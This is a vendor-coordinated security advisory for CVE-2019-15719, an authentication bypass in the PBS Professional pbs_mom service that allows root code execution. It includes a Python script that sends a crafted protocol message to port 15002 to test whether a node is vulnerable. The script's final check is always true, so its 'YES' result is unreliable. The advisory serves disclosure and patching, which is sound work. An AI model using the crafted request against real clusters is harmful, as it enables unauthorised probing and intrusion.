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PBS Professional MoM Authentication Bypass (CVE-2019-15719)
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* Software: PBS Professional
* Affected Versions: All versions up to and including 19.2.3
* Vendor: Altair Engineering, Inc
* CVE Reference: CVE-2019-15719
* Severity: CVSS 9.0 [CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H]
* Author: John Fitzpatrick
* Date: 2019-10-08


Description
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HPCsec have identified a vulnerability in PBS Pro which allows for arbitrary code execution on any node running the pbs_mom service. This vulnerability can be exploited by anyone in a position to communicate with the pbs_mom service from an authorized node within the cluster. Exploitation of this issue allows for arbitrary code execution as any other user including as root, even in installations where root is not permitted to submit jobs.

This issue arises as a result of the pbs_mom service failing to apply a necessary security check before handling instructions sent to it.

By default the pbs_mom service runs on TCP port 15002. The following code can be run to check whether a mom is vulnerable to this issue:

---BEGIN CODE::python---

import socket
import sys

if len(sys.argv) < 2:
    print "ERROR: Please specify the address of pbs_mom"
    sys.exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((sys.argv[1], 15002))
    s.send("+2+1+1+1x+1x+1x2+222+15+1x+0+1x+02+24+1x+01+1x+02+12+1x+0+1x+02+14+1x+0+1x+02+"+
           "131+1x+0+1x+02+411+1x+01+1x+02+241+1x+01+1x+02+261+1x+01+1x+02+12+1x+0+1x+02+1"+
           "31+1x+0+1x+02+421+1x+01+1x+02+221+1x+1+1x+112+102+251+1x+1+1x+1x2+102+221+1x+0"+
           "+1x2+103+3351+1x+01+1x+02+13+1x+0+1x+02+14+1x+0+1x2+102+19+1x+0+1x+02+12+1x+0+"+
           "11+02+181+1x+0+210+02+29+6hpcsec+01+1x+02+141+1x+0+11+0+0")
    response = s.recv(64)

    if "Invalid" in response:
        print "Vulnerable = NO"
    elif "Access" in response:
        print "Vulnerable = UNKNOWN (try again from a permitted host, e.g. another mom or the pbs server)"
    elif "Undefined" or "System" in response:
        print "Vulnerable = YES"
    else:
        print "Vulnerable = UNKNOWN (unhandled response)"
except Exception, e:
    print "ERROR: "+str(e)

# Download here: https://files.hpcsec.com/utilities/check-CVE-2019-15719.py

---END CODE---


Solution
========

A fix for this issue has been incorporated into all currently supported versions of PBS Professional. Fixes are available in the following versions:

* 13.0.412
* 14.2.7
* 18.2.5
* 19.2.4 and newer

A fix is now available on GitHub for users of the open source 19.1.X branch. The fix is incorporated into the current 19.1.2 release with no change to the version number. Therefore earlier instances of 19.1.2 are vulnerable.

Those running earlier versions should update to the latest fixed version in the relevant branch.

The updated versions are available from the Altair PBS Professional download site (https://www.pbspro.org/Download.aspx#download).


Timeline
========

2019-08-22: Issue reported to Altair
2019-10-07: Patch available for all supported versions of PBS Pro
2019-10-08: HPCsec advisory published

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https://www.hpcsec.com/2019/10/08/cve-2019-15719
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